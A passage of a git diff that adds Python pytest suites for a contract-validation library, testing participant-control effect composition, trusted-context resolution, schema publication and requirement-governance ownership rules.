_derive(payload) + assert "effect-conflict" in composition.blockers + assert composition.disposition == "conflict" + _revalidated(payload, composition) + + +@pytest.mark.parametrize("misstated", ["deny", "withhold", "unsupported", "failed", "conflict"]) +def test_a_persisted_record_cannot_misstate_why_composition_failed(misstated): + """Validation requires the canonical disposition, not just non-eligibility.""" + + payload = evaluation_payload() + payload["results"][0]["status"] = "stale" + payload["results"][0]["payload"] = None + composition = _derive(payload) + assert composition.disposition == "stale" + + forged = {**composition.model_dump(mode="json"), "disposition": misstated} + misstated_composition = type(composition).model_validate(forged) + with pytest.raises(ValueError): + _revalidated(payload, misstated_composition) diff --git a/implementations/python/tests/test_api_424_control_effects.py b/implementations/python/tests/test_api_424_control_effects.py new file mode 100644 index 000000000..d9a90a7a9 --- /dev/null +++ b/implementations/python/tests/test_api_424_control_effects.py @@ -0,0 +1,173 @@ +"""Typed effect alternatives and multi-mechanism composition witnesses.""" + +from copy import deepcopy + +import pytest +from participant_control_contract_fixtures import context_payload, effect_payload, evaluation_payload, ref +from pydantic import ValidationError +from raes_contracts.contracts.participant_control_composition import ParticipantControlEvaluationModel +from raes_contracts.contracts.participant_control_effects import ControlEffectRequestModel + + +def targets(): + subject = context_payload()["subject"] + for kind in ("permit", "deny", "withhold"): + yield {"kind": kind, "crossing_decision": ref("decision-1", "crossing"), "subject": subject} + for kind in ("transform", "mask", "route"): + yield { + "kind": kind, + "transformation": ref("transformation-1", "transformation"), + "source": subject, + "result": {**subject, "subject_ref": "fresh-subject"}, + "destination_ref": "destination-1", + "admission_policy": ref("policy-1", "policy"), + } + yield { + "kind": "delay", + "subject": subject, + "clock": ref("clock-1", "clock"), + "earliest_order": 2, + "latest_order": 3, + "expiry_order": 4, + "resumption_policy": ref("policy-1", "policy"), + } + yield { + "kind": "handoff", + "transition": ref("handoff-1", "control"), + "participant_address": "participants.student", + "episode_id": "episode-1", + "prior_controller_ref": "teacher", + "resulting_controller_ref": "supervisor", + "expected_state_revision": 1, + "completion_obligation": ref("handoff-evidence"), + } + yield { + "kind": "request-review", + "parent": subject, + "obligation_ref": "review-1", + "supervisor_authority": ref("supervisor", "authority"), + "approval_ref": ref("approval", "control"), + "denial_ref": ref("denial", "control"), + "clock": ref("clock-1", "clock"), + "expiry_order": 3, + "resumption_policy": ref("policy-1", "policy"), + } + for kind, operation in (("interrupt", "pause"), ("shutdown", "terminate")): + yield { + "kind": kind, + "target_kind": "episode", + "target_ref": "episode-1", + "operation": operation, + "lifecycle_authority": ref("lifecycle-authority", "authority"), + "expected_revision": "rev1", + } + yield { + "kind": "audit", + "subject": subject, + "audit_record": ref("audit-1", "audit"), + "audience_ref": "auditor", + "retention_policy": ref("retention-policy", "policy"), + } + + +@pytest.mark.parametrize("target", list(targets()), ids=lambda value: value["kind"]) +def test_every_mpc09_effect_has_a_closed_request_shape(target): + record = ControlEffectRequestModel.model_validate(effect_payload(target)) + assert record.target.kind == target["kind"] + invalid = effect_payload({**target, "callback": "execute"}) + with pytest.raises(ValidationError): + ControlEffectRequestModel.model_validate(invalid) + + +def add_second_result(payload, *, kind="effect-request", role="mandatory", result_payload=None): + binding = deepcopy(payload["request"]["selection"]["bindings"][0]) + binding["instance_id"] = "monitor" + payload["request"]["selection"]["bindings"].append(binding) + payload["request"]["selection"]["slots"].append( + {"slot_id": "monitor-slot", "instance_id": "monitor", "kind": kind, "role": role, "dependencies": []} + ) + payload["request"]["context"]["provider_states"].append( + {"instance_id": "monitor", "state": ref("monitor-state", "provider-state")} + ) + from raes_contracts._canonical import canonical_json_digest + + digest = canonical_json_digest(payload["request"]["context"]) + for result in payload["results"]: + result["context_digest"] = digest + for support in payload["support"]: + support["context_digest"] = digest + support = deepcopy(payload["support"][0]) + support["instance_id"] = "monitor" + payload["support"].append(support) + result = deepcopy(payload["results"][-1]) + result.update( + result_id="result-monitor", + slot_id="monitor-slot", + instance_id="monitor", + binding_digest=canonical_json_digest(binding), + payload=result_payload or effect_payload(), + ) + if result["payload"]["kind"] == "effect-request": + result["payload"]["effect_id"] = "effect-2" + result["payload"]["key"]["slot"] = "second-effect" + payload["results"].append(result) + payload["composition"]["contributing_result_ids"].append("result-monitor") + return payload + + +@pytest.mark.parametrize("reverse", [False, True]) +def test_unordered_effects_conflict_independently_of_arrival(reverse): + payload = add_second_result(evaluation_payload()) + if reverse: + payload["results"].reverse() + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) + payload["composition"].update(disposition="conflict", blockers=["effect-conflict"]) + assert ParticipantControlEvaluationModel.model_validate(payload).composition.disposition == "conflict" + + +def test_advisory_deny_does_not_become_a_mandatory_veto(): + payload = add_second_result( + evaluation_payload(), + kind="advisory", + role="advisory", + result_payload={"kind": "advisory", "assessment": "negative", "score": 0.9, "sample": ref("sample")}, + ) + assert ParticipantControlEvaluationModel.model_validate(payload).composition.disposition == "eligible" + + +def test_empty_optional_selection_preserves_incumbent_denial(): + payload = evaluation_payload() + payload["request"]["selection"].update(bindings=[], slots=[], required_profiles=[]) + payload["request"]["context"]["provider_states"] = [] + payload.update(results=[], support=[]) + payload["composition"].update( + incumbent_gate_disposition="deny", disposition="deny", blockers=["incumbent-gates"], contributing_result_ids=[] + ) + assert ParticipantControlEvaluationModel.model_validate(payload).composition.disposition == "deny" + + +@pytest.mark.parametrize("field,value", [("ref", "unpublished-profile"), ("revision", "rev99")]) +def test_unknown_profile_authority_is_rejected(field, value): + from raes_contracts.contracts.participant_control_selection import ParticipantControlSelectionModel + + payload = evaluation_payload()["request"]["selection"] + payload["required_profiles"] = [] + payload["bindings"][0]["profiles"][0][field] = value + with pytest.raises(ValidationError): + ParticipantControlSelectionModel.model_validate(payload) + + +def test_effect_request_cannot_claim_applied(): + payload = effect_payload() + payload["disposition"] = "applied" + with pytest.raises(ValidationError): + ControlEffectRequestModel.model_validate(payload) + + +def test_logical_key_conflict_is_recordable_without_dropping_contributors(): + payload = add_second_result(evaluation_payload()) + payload["results"][-1]["payload"]["key"] = deepcopy(payload["results"][1]["payload"]["key"]) + payload["composition"].update(disposition="conflict", blockers=["effect-conflict"]) + record = ParticipantControlEvaluationModel.model_validate(payload) + assert len(record.results) == 3 diff --git a/implementations/python/tests/test_api_424_control_resolution.py b/implementations/python/tests/test_api_424_control_resolution.py new file mode 100644 index 000000000..82e06cfb9 --- /dev/null +++ b/implementations/python/tests/test_api_424_control_resolution.py @@ -0,0 +1,100 @@ +"""Trusted context must independently establish portable API-424 claims.""" + +from dataclasses import replace + +import pytest +from participant_control_contract_fixtures import crossing_payload, delivery_payload, evaluation_payload + + +def record_and_context(): + from raes_contracts.contracts.participant_control_composition import ( + ParticipantControlEvaluationModel, + control_digest, + ) + from raes_contracts.contracts.participant_control_resolution import ( + ParticipantControlValidationContext, + control_references, + ) + + record = ParticipantControlEvaluationModel.model_validate(evaluation_payload()) + from raes.participant_inject_delivery import ParticipantInjectDelivery + from raes_contracts.contracts.participant_crossing import ParticipantCrossingOccurrenceModel + + crossing = ParticipantCrossingOccurrenceModel.model_validate( + crossing_payload(record.request.context.model_dump(mode="json")) + ) + context = ParticipantControlValidationContext( + admitted_request=record.request, + safe_references=frozenset(control_references(record)), + installed_bindings={"influence": record.request.selection.bindings[0]}, + effective_support={"influence": record.support[0]}, + resolved_results={"result-fact": record.results[0], "result-rule": record.results[1]}, + authorized_effects={control_digest(record.results[1].payload): record.request.context}, + incumbent_gate_evidence=record.composition.incumbent_gate_evidence, + incumbent_gate_disposition="permit", + support_resolver=lambda binding, support: support.declared_level, + realization_receipts={}, + crossing_records=(crossing,), + crossing_subjects=(crossing.occurrence.subject,), + crossing_policies=(crossing.occurrence.policy,), + inject_deliveries={"delivery-binding": ParticipantInjectDelivery.model_validate(delivery_payload())}, + ) + return record, context + + +def test_resolver_backed_contract_accepts_exact_trusted_relationships(): + from raes_contracts.contracts.participant_control_resolution import validate_participant_control_context + + record, context = record_and_context() + validate_participant_control_context(record, context) + + +@pytest.mark.parametrize( + "field,value", + [ + ("safe_references", frozenset()), + ("installed_bindings", {}), + ("effective_support", {}), + ("resolved_results", {}), + ("authorized_effects", {}), + ("incumbent_gate_disposition", "deny"), + ("inject_deliveries", {}), + ], +) +def test_self_reported_support_authority_or_evidence_is_insufficient(field, value): + from raes_contracts.contracts.participant_control_resolution import validate_participant_control_context + + record, context = record_and_context() + untrusted = replace(context, **{field: value}) + with pytest.raises(ValueError): + validate_participant_control_context(record, untrusted) + + +def test_legacy_missing_support_strength_is_not_modular_support(): + from raes_contracts.contracts.participant_control_resolution import validate_participant_control_context + + record, context = record_and_context() + unresolved = replace(context, support_resolver=lambda *_: None) + with pytest.raises(ValueError): + validate_participant_control_context(record, unresolved) + + +def test_context_resolver_failure_is_value_independent(): + from raes_contracts.contracts.participant_control_resolution import validate_participant_control_resolved_context + + record, _ = record_and_context() + + def fail(*args): + raise RuntimeError("private-provider-state") + + for resolver in (None, fail, lambda *_: object()): + with pytest.raises(ValueError) as caught: + validate_participant_control_resolved_context(record, resolver) + assert "private-provider-state" not in str(caught.value) + + +def test_effectful_provider_protocol_is_not_inferred_from_method_presence(): + from raes_backend_protocols.protocols import ParticipantControlProvider + + assert ParticipantControlProvider.resolve.__annotations__ + assert not getattr(ParticipantControlProvider, "_is_runtime_protocol", False) diff --git a/implementations/python/tests/test_api_424_governance.py b/implementations/python/tests/test_api_424_governance.py new file mode 100644 index 000000000..1f66ed128 --- /dev/null +++ b/implementations/python/tests/test_api_424_governance.py @@ -0,0 +1,25 @@ +"""Contract publication cannot admit a runtime implementation under API-424.""" + +from paths import REPO_ROOT +from tools.policy.repository_requirements import RepositoryRequirementClient +from tools.policy.requirement_governance import evaluate_requirement_governance + + +def test_contract_publication_rejects_runtime_ownership(): + failures = evaluate_requirement_governance( + REPO_ROOT, + ["implementations/python/packages/raes_runtime/participant_flow_sink.py"], + client=RepositoryRequirementClient(REPO_ROOT), + requirement_uid="API-424", + ) + assert any(f.rule_id == "requirement-ownership-mismatch" for f in failures) + + +def test_contract_publication_owns_its_selection(): + failures = evaluate_requirement_governance( + REPO_ROOT, + ["implementations/python/packages/raes_contracts/contracts/participant_control_selection.py"], + client=RepositoryRequirementClient(REPO_ROOT), + requirement_uid="API-424", + ) + assert not failures diff --git a/implementations/python/tests/test_api_424_participant_control_contracts.py b/implementations/python/tests/test_api_424_participant_control_contracts.py new file mode 100644 index 000000000..31ff99fb0 --- /dev/null +++ b/implementations/python/tests/test_api_424_participant_control_contracts.py @@ -0,0 +1,86 @@ +"""Behavioral API-424 contract witnesses, not runtime realization tests.""" + +import json + +import pytest +from participant_control_contract_fixtures import evaluation_payload, selection_payload +from pydantic import ValidationError + + +def model(payload): + from raes_contracts.contracts.participant_control_composition import ParticipantControlEvaluationModel + + return ParticipantControlEvaluationModel.model_validate(payload) + + +def test_teaching_fact_requests_inject_without_claiming_execution(): + record = model(evaluation_payload()) + assert record.results[0].payload.tokens == ("coached-hint",) + assert record.results[1].payload.target.kind == "inject" + assert record.composition.disposition == "eligible" + assert record.realizations == () + + +@pytest.mark.parametrize("field", ["taint", "labels", "policy", "effects", "plugin", "context", "metadata"]) +def test_open_authority_maps_are_rejected(field): + payload = evaluation_payload() + payload["request"]["selection"]["bindings"][0][field] = {"arbitrary": "value"} + with pytest.raises(ValidationError): + model(payload) + + +@pytest.mark.parametrize("bad", [True, "2", -1]) +def test_resource_bounds_use_strict_nonnegative_integers(bad): + payload = evaluation_payload() + payload["request"]["selection"]["bounds"]["max_depth"] = bad + with pytest.raises(ValidationError): + model(payload) + + +def test_protocol_values_are_deeply_immutable_and_detached(): + payload = evaluation_payload() + record = model(payload) + payload["request"]["context"]["state_cut"]["predecessor_event_refs"].append("later") + assert record.request.context.state_cut.predecessor_event_refs == ("event-0",) + with pytest.raises(ValidationError): + record.request.context.subject.subject_ref = "forged" + with pytest.raises(ValidationError): + record.results[0].payload.tokens = () + + +@pytest.mark.parametrize("status", ["missing", "unknown", "unsupported", "stale", "failed", "weakened"]) +def test_mandatory_unresolved_slots_cannot_claim_eligibility(status): + payload = evaluation_payload() + payload["results"][0].update(status=status, payload=None) + with pytest.raises(ValidationError): + model(payload) + + +def test_exact_cut_and_binding_digest_are_required(): + payload = evaluation_payload() + payload["request"]["context"]["expected_history_heads"][0]["revision"] = "later" + with pytest.raises(ValidationError): + model(payload) + + +def test_selection_rejects_cycles_and_missing_required_profiles(): + from raes_contracts.contracts.participant_control_selection import ParticipantControlSelectionModel + + payload = selection_payload() + payload["slots"][0]["dependencies"] = [{"slot_id": "rule", "kind": "effect-request"}] + with pytest.raises(ValidationError): + ParticipantControlSelectionModel.model_validate(payload) + payload = selection_payload() + payload["required_profiles"].append("absent") + with pytest.raises(ValidationError): + ParticipantControlSelectionModel.model_validate(payload) + + +def test_request_parser_hides_rejected_values_and_rejects_duplicate_keys(): + from raes_contracts.contracts.participant_control_composition import parse_participant_control_evaluation + + with pytest.raises(ValueError) as caught: + parse_participant_control_evaluation('{"private-secret":"never-echo","private-secret":1}') + assert "never-echo" not in str(caught.value) + assert "private-secret" not in str(caught.value) + assert parse_participant_control_evaluation(json.dumps(evaluation_payload())).evaluation_id == "evaluation-1" diff --git a/implementations/python/tests/test_api_424_publication.py b/implementations/python/tests/test_api_424_publication.py new file mode 100644 index 000000000..bc1996915 --- /dev/null +++ b/implementations/python/tests/test_api_424_publication.py @@ -0,0 +1,109 @@ +"""Portable schema and conformance publication for independent consumers.""" + +import json + +import pytest +from jsonschema import Draft202012Validator +from participant_control_contract_fixtures import evaluation_payload, selection_payload + +ROOTS = ("participant-control-selection-v1", "participant-control-evaluation-v1") + + +def test_split_candidate_exports_preserve_public_objects(): + from raes_contracts import contracts + from raes_contracts.contracts import _candidate_synthesis_facade, candidate_synthesis + + for name in _candidate_synthesis_facade.__all__: + assert getattr(contracts, name) is getattr(candidate_synthesis, name) + + +def test_control_subdomain_exports_preserve_public_facade(): + from raes_contracts import contracts + from raes_contracts.contracts import _participant_control_exports as control + + for name in control.PARTICIPANT_CONTROL_EXPORTS: + assert contracts.__all__.count(name) == 1 + assert getattr(contracts, name) is getattr(control, name) + + +@pytest.mark.parametrize("contract,payload", [(ROOTS[0], selection_payload), (ROOTS[1], evaluation_payload)]) +def test_published_bundle_validates_closed_portable_fixtures(contract, payload): + from raes_contracts.contracts import schema_bundle + from raes_contracts.corpus import corpus_family_root + + schema = schema_bundle()[contract] + Draft202012Validator.check_schema(schema) + Draft202012Validator(schema).validate(payload()) + path = corpus_family_root("schemas") / "participant-runtime" / (contract + ".json") + assert json.loads(path.read_text()) == schema + for category, valid in (("valid", True), ("invalid", False)): + files = list((corpus_family_root("fixtures") / "participant-runtime" / contract / category).glob("*.json")) + assert files + for fixture in files: + assert Draft202012Validator(schema).is_valid(json.loads(fixture.read_text())) is valid + if valid: + from raes_contracts.contracts import ParticipantControlEvaluationModel, ParticipantControlSelectionModel + + model = ParticipantControlEvaluationModel if contract == ROOTS[1] else ParticipantControlSelectionModel + model.model_validate_json(fixture.read_text()) + + +def test_evaluation_conformance_requires_trusted_context(): + from raes_conformance.conformance.validators import contract_validation_strength, validate_contract_payload + from test_api_424_control_resolution import record_and_context + + contract = ROOTS[1] + assert contract_validation_strength(contract) == "structural-context-required" + record, context = record_and_context() + diagnostics = validate_contract_payload(contract, record.model_dump(mode="json")) + assert diagnostics + assert diagnostics[0].code == "conformance.semantic-context-required" + assert not validate_contract_payload( + contract, record.model_dump(mode="json"), control_context_resolver=lambda _: context + ) + + +def test_modular_capability_uses_governed_evidence_required_feature(): + from raes_contracts.manifest_authority import ( + PARTICIPANT_RUNTIME_CAPABILITY_REQUIRED_CONTRACTS, + PARTICIPANT_RUNTIME_EVIDENCE_REQUIRED_FEATURES, + ) + + feature = "participant_modular_control" + assert feature in PARTICIPANT_RUNTIME_EVIDENCE_REQUIRED_FEATURES + assert ( + set(ROOTS) + <= PARTICIPANT_RUNTIME_CAPABILITY_REQUIRED_CONTRACTS[ + "capabilities.participant_runtime.supported_behavior_features" + ][feature] + ) + + +def test_published_teaching_profile_is_closed_and_has_no_release(): + from raes_contracts.contracts import load_teaching_influence_profile, schema_bundle + + profile = load_teaching_influence_profile() + Draft202012Validator(schema_bundle()["participant-control-teaching-profile-v1"]).validate( + profile.model_dump(mode="json") + ) + assert profile.release == "none" + + +@pytest.mark.parametrize("name", ["stale", "dishonest"]) +def test_schema_valid_contextual_counterexamples_fail_trusted_resolution(name): + from raes_contracts.contracts import ( + ParticipantControlEvaluationModel, + validate_participant_control_resolved_context, + ) + from raes_contracts.corpus import corpus_family_root + from test_api_424_control_resolution import record_and_context + + _, context = record_and_context() + path = ( + corpus_family_root("fixtures") + / "participant-runtime/participant-control-evaluation-v1/context-invalid" + / (name + ".json") + ) + record = ParticipantControlEvaluationModel.model_validate_json(path.read_text()) + with pytest.raises(ValueError, match="trusted-context validation failed"): + validate_participant_control_resolved_context(record, lambda _: context) diff --git a/implementations/python/tests/test_api_424_review_regressions.py b/implementations/python/tests/test_api_424_review_regressions.py new file mode 100644 index 000000000..40a3b7511 --- /dev/null +++ b/implementations/python/tests/test_api_424_review_regressions.py @@ -0,0 +1,181 @@ +"""Review regressions for MPC lifecycle compatibility, replay and conflict joins.""" + +from copy import deepcopy + +import pytest +from participant_control_contract_fixtures import effect_payload, evaluation_payload, ref +from pydantic import ValidationError +from raes_contracts.contracts.participant_control_composition import ParticipantControlEvaluationModel, control_digest +from raes_contracts.contracts.participant_control_effects import ControlEffectRequestModel +from test_api_424_composition_boundaries import refresh +from test_api_424_control_effects import add_second_result, targets + + +@pytest.mark.parametrize( + "scope,target", + [ + ("participant", "participants.student"), + ("episode", "episode-1"), + ("run", "run-1"), + ("execution", "execution-1"), + ("workflow", "workflow-1"), + ], +) +@pytest.mark.parametrize("operation", ["terminate", "pause", "cancel", "interrupt"]) +def test_lifecycle_before_live_target_operation_conflicts(scope, target, operation): + lifecycle = { + "kind": "shutdown" if operation == "terminate" else "interrupt", + "target_kind": scope, + "target_ref": target, + "operation": operation, + "lifecycle_authority": ref("lifecycle", "authority"), + "expected_revision": "rev1", + } + payload = add_second_result(evaluation_payload(), result_payload=effect_payload(lifecycle)) + payload["results"][1]["payload"]["predecessor_effect_ids"] = ["effect-2"] + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) + payload["composition"].update(disposition="conflict", blockers=["effect-conflict"]) + assert ParticipantControlEvaluationModel.model_validate(payload).composition.disposition == "conflict" + # Injection while live, followed by lifecycle shutdown, is a different order. + payload["results"][1]["payload"]["predecessor_effect_ids"] = [] + payload["results"][-1]["payload"]["predecessor_effect_ids"] = ["effect-1"] + payload["composition"].update(disposition="eligible", blockers=[]) + assert ParticipantControlEvaluationModel.model_validate(payload).composition.disposition == "eligible" + + +def exhausted_replay(): + payload = evaluation_payload() + effect = ControlEffectRequestModel.model_validate(payload["results"][1]["payload"]) + payload["request"]["context"].update( + effects_consumed=2, + depth=2, + attempt=2, + prior_effect_claims=[ + { + "effect_id": effect.effect_id, + "key": effect.key.model_dump(mode="json"), + "content_digest": control_digest(effect), + } + ], + rule_firings=[ + { + "rule_id": effect.key.rule_id, + "rule_revision": effect.key.rule_revision, + "firing_epochs": [effect.key.firing_epoch], + } + ], + ) + payload["realizations"] = [ + { + "effect_id": effect.effect_id, + "disposition": "applied", + "receipt": ref("receipt-1", "receipt"), + "evidence": [ref("realization-evidence")], + } + ] + refresh(payload) + return payload + + +def test_unchanged_replay_at_exhausted_budget_is_not_charged_twice(): + record = ParticipantControlEvaluationModel.model_validate(exhausted_replay()) + assert record.request.context.effects_consumed == 2 + assert record.realizations[0].disposition == "applied" + + +def test_new_claim_at_exhausted_budget_is_rejected_even_in_existing_firing_epoch(): + payload = exhausted_replay() + payload["results"][1]["payload"]["key"]["slot"] = "new-slot" + payload["results"][1]["payload"]["effect_id"] = "new-effect" + payload["realizations"] = [] + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) + + +def test_changed_content_under_prior_key_remains_recordable_conflict(): + payload = exhausted_replay() + payload["results"][1]["payload"]["target"]["result_item_ref"] = "different-result" + payload["composition"].update(disposition="conflict", blockers=["effect-conflict"]) + assert ParticipantControlEvaluationModel.model_validate(payload).composition.disposition == "conflict" + + +@pytest.mark.parametrize("reverse", [False, True]) +def test_duplicate_effect_identity_retains_all_phase_blockers_under_permutation(reverse): + payload = add_second_result(evaluation_payload()) + payload["results"][-1]["payload"] = deepcopy(payload["results"][1]["payload"]) + payload["results"][-1]["payload"]["phase"] = "required-predecessor" + if reverse: + payload["results"].reverse() + payload["composition"].update(disposition="conflict", blockers=["effect-conflict", "predecessor:effect-1"]) + assert ParticipantControlEvaluationModel.model_validate(payload).composition.blockers == ( + "effect-conflict", + "predecessor:effect-1", + ) + + +@pytest.mark.parametrize("reverse", [False, True]) +def test_duplicate_effect_identity_cannot_hide_missing_dependency_under_permutation(reverse): + payload = add_second_result(evaluation_payload()) + payload["results"][-1]["payload"] = deepcopy(payload["results"][1]["payload"]) + payload["results"][-1]["payload"]["predecessor_effect_ids"] = ["missing-effect"] + if reverse: + payload["results"].reverse() + payload["composition"].update(disposition="conflict", blockers=["effect-conflict"]) + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) + + +@pytest.mark.parametrize( + "target", + [item for item in targets() if item["kind"] in {"permit", "transform", "mask", "route", "delay", "handoff"}], + ids=lambda target: target["kind"], +) +def test_lifecycle_compatibility_covers_all_live_target_alternatives(target): + payload = evaluation_payload() + payload["results"][1]["payload"]["target"] = target + shutdown = { + "kind": "shutdown", + "target_kind": "episode", + "target_ref": "episode-1", + "operation": "terminate", + "lifecycle_authority": ref("lifecycle", "authority"), + "expected_revision": "rev1", + } + add_second_result(payload, result_payload=effect_payload(shutdown)) + payload["results"][1]["payload"]["predecessor_effect_ids"] = ["effect-2"] + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) + payload["composition"].update(disposition="conflict", blockers=["effect-conflict"]) + assert ParticipantControlEvaluationModel.model_validate(payload).composition.disposition == "conflict" + + +def test_shutdown_does_not_forbid_a_later_audit_record(): + payload = evaluation_payload() + payload["results"][1]["payload"]["target"] = next(item for item in targets() if item["kind"] == "audit") + shutdown = { + "kind": "shutdown", + "target_kind": "episode", + "target_ref": "episode-1", + "operation": "terminate", + "lifecycle_authority": ref("lifecycle", "authority"), + "expected_revision": "rev1", + } + add_second_result(payload, result_payload=effect_payload(shutdown)) + payload["results"][1]["payload"]["predecessor_effect_ids"] = ["effect-2"] + assert ParticipantControlEvaluationModel.model_validate(payload).composition.disposition == "eligible" + + +def test_prior_claims_cannot_forge_consumption_root_or_firing_history(): + for change in ("consumption", "root", "epoch"): + payload = exhausted_replay() + context = payload["request"]["context"] + if change == "consumption": + context["effects_consumed"] = 0 + elif change == "root": + context["prior_effect_claims"][0]["key"]["trigger_root"] = "different-root" + else: + context["rule_firings"] = [] + refresh(payload) + with pytest.raises(ValidationError): + ParticipantControlEvaluationModel.model_validate(payload) diff --git a/implementations/python/tests/test_api_424_security_profile.py b/implementations/python/tests/test_api_424_security_profile.py new file mode 100644 index 000000000..d0319c226 --- /dev/null +++ b/implementations/python/tests/test_api_424_security_profile.py @@ -0,0 +1,119 @@ +"""The legacy security profile retains its owning SEM-233 relation and joins.""" + +from dataclasses import replace + +import pytest +from participant_control_contract_fixtures import evaluation_payload, ref +from raes_contracts._canonical import canonical_json_digest +from raes_contracts.contracts import ParticipantControlEvaluationModel, ParticipantFlowControlRelationModel +from raes_contracts.contracts.participant_control_composition import control_digest +from raes_contracts.contracts.participant_control_coordinates import ControlArtifactReferenceModel +from raes_contracts.contracts.participant_control_resolution import ( + control_references, + validate_participant_control_context, +) +from test_api_424_composition_boundaries import refresh +from test_api_424_control_resolution import record_and_context +from test_sem_233_flow_control_contracts import _context_relation_payload, _validation_context + + +def security_record_and_context(): + relation = ParticipantFlowControlRelationModel.model_validate(_context_relation_payload()) + owner = _validation_context() + crossing = owner.crossing_records[-1] + sink = relation.sink_decisions[0] + payload = evaluation_payload() + selection = payload["request"]["selection"] + profile = ref("participant-boundary-flow-policy-v1", "profile") + profile["digest"] = relation.profile.profile_digest + selection["required_profiles"] = [profile["ref"]] + selection["bindings"][0]["profiles"] = [profile] + selection["slots"] = selection["slots"][:1] + context = payload["request"]["context"] + context.update( + participant_address=crossing.participant_address, + episode_id=crossing.episode_id, + subject=crossing.occurrence.subject.model_dump(mode="json"), + policy=crossing.occurrence.policy.model_dump(mode="json"), + crossing={ + **ref(crossing.event_id, "crossing"), + "digest": canonical_json_digest(crossing.model_dump(mode="json", exclude_unset=True)), + }, + sink_ref=sink.sink.sink_ref, + audience_ref=sink.sink.audience_scope_ref, + destination_ref=sink.sink.destination_ref, + controller_ref=crossing.occurrence.controller_ref, + authority=ref(crossing.occurrence.authority_basis_refs[0], "authority"), + order=11, + expected_history_heads=[ref(head, "history") for head in sink.expected_history_head_refs], + ) + context["state_cut"].update(cut_ref=context["policy"]["decision_cut_ref"], anchor_order=8, history_prefix_length=9) + selection["bindings"][0]["applicability"][0].update( + participant_address=context["participant_address"], + sink_ref=context["sink_ref"], + subject_kind=context["subject"]["subject_kind"], + ) + payload["results"] = payload["results"][:1] + payload["results"][0]["payload"] = { + "kind": "ifc-fact", + "domain": "sem-233/rev1", + "label_ref": sink.label_ref, + "relation": { + **ref(relation.document_id, "flow-relation"), + "revision": relation.document_revision, + "digest": control_digest(relation), + }, + } + payload["composition"]["contributing_result_ids"] = ["result-fact"] + refresh(payload) + record = ParticipantControlEvaluationModel.model_validate(payload) + _, trusted = record_and_context() + safe = set(control_references(record)) + safe.update(ControlArtifactReferenceModel.model_validate(ref(item)) for item in owner.known_evidence_refs) + safe.update( + ControlArtifactReferenceModel.model_validate(ref(item, "authority")) for item in owner.known_authority_refs + ) + return record, replace( + trusted, + admitted_request=record.request, + safe_references=frozenset(safe), + installed_bindings={"influence": record.request.selection.bindings[0]}, + effective_support={"influence": record.support[0]}, + resolved_results={"result-fact": record.results[0]}, + authorized_effects={}, + crossing_records=tuple(owner.crossing_records), + crossing_subjects=tuple(owner.crossing_subjects), + crossing_policies=tuple(owner.crossing_policies), + flow_relations={relation.document_id: relation}, + flow_contexts={relation.document_id: owner}, + ) + + +def test_security_fact_uses_incumbent_label_and_crossing_binding(): + record, context = security_record_and_context() + validate_participant_control_context(record, context) + + +def test_security_fact_cannot_self_certify_owning_flow_relation(): + record, context = security_record_and_context() + unresolved = replace(context, flow_contexts={}) + with pytest.raises(ValueError): + validate_participant_control_context(record, unresolved) + + +def test_incumbent_profile_file_read_is_bounded_before_decode(monkeypatch, tmp_path): + from io import BytesIO + from pathlib import Path + + from raes_contracts.participant_flow_policy_profiles import load_participant_boundary_flow_policy_profile_from_path + + class BoundedStream(BytesIO): + def read(self, size=-1): + assert 0 < size <= 256 * 1024 + 1, "profile read must have a finite bound" + return super().read(size) + + monkeypatch.setattr(Path, "open", lambda *_args, **_kwargs: BoundedStream(b" " * (256 * 1024 + 1))) + with pytest.raises(ValueError, match="profile JSON or contract is invalid"): + load_participant_boundary_flow_policy_profile_from_path( + "participant-boundary-flow-policy-v1", tmp_path / "profile.json" + ) diff --git a/implementations/python/tests/test_authoring_adapter_governance.py b/implementations/python/tests/test_authoring_adapter_governance.py new file mode 100644 index 000000000..d6b87c878 --- /dev/null +++ b/implementations/python/tests/test_authoring_adapter_governance.py @@ -0,0 +1,53 @@ +"""ASR-516 owns conformance delivery, not concrete adapter implementations.""" + +from pathlib import Path + +from tools.policy.repository_requirements import RepositoryRequirementClient +from tools.policy.requirement_governance import evaluate_requirement_governance, load_policy, match_phase + +ROOT = Path(__file__).resolve().parents[3] +IMPLEMENTATION = "implementations/python/packages/raes_conformance/authoring_adapters.py" + + +def test_authoring_adapter_delivery_owns_its_contract_and_tests(): + assert match_phase(load_policy(ROOT), "ASR-516").phase_id == "authoring-adapter-conformance" + paths = [ + IMPLEMENTATION, + "implementations/python/packages/raes_contracts/contracts/bundle.py", + "implementations/python/tests/test_authoring_adapters.py", + "contracts/schemas/authoring-adapters/authoring-adapter-vector-v1.json", + "contracts/fixtures/authoring-adapters-v1/cases/strict-source.json", + ] + assert not evaluate_requirement_governance( + ROOT, paths, client=RepositoryRequirementClient(ROOT), requirement_uid="ASR-516" + ) + + +def test_authoring_adapter_delivery_rejects_unrelated_implementations(): + paths = [ + "implementations/python/packages/raes_mcp/server.py", + "implementations/python/packages/raes_backend_libvirt/target.py", + "contracts/profiles/backend/unrelated.json", + "contracts/schemas/sdl/unrelated.json", + "docs/research/unrelated-study/results.md", + "docs/requirements/GOV-941/requirement.md", + ] + failures = evaluate_requirement_governance( + ROOT, paths, client=RepositoryRequirementClient(ROOT), requirement_uid="ASR-516" + ) + assert {failure.path for failure in failures if failure.rule_id == "requirement-ownership-mismatch"} == set(paths) + + +def test_authoring_adapter_delivery_preserves_prerequisites_and_traceability(): + class IncompleteClient(RepositoryRequirementClient): + def get_requirement(self, project, requirement_uid): + result = super().get_requirement(project, requirement_uid) + return {**result, "status": "DRAFT"} if requirement_uid == "GOV-917" else result + + def get_traceability(self, requirement_id): + return [] + + failures = evaluate_requirement_governance( + ROOT, [IMPLEMENTATION], client=IncompleteClient(ROOT), requirement_uid="ASR-516" + ) + assert {failure.rule_id for failure in failures} == {"requirement-order-blocked", "traceability-missing-implements"} diff --git a/implementations/python/tests/test_authoring_adapters.py b/implementations/python/tests/test_authoring_adapters.py new file mode 100644 index 000000000..b79ce3e8e --- /dev/null +++ b/implementations/python/tests/test_authoring_adapters.py @@ -0,0 +1,416 @@ +"""Finite authoring-path conformance for ASR-516, independent of transport.""" + +import json +from dataclasses import replace +from pathlib import 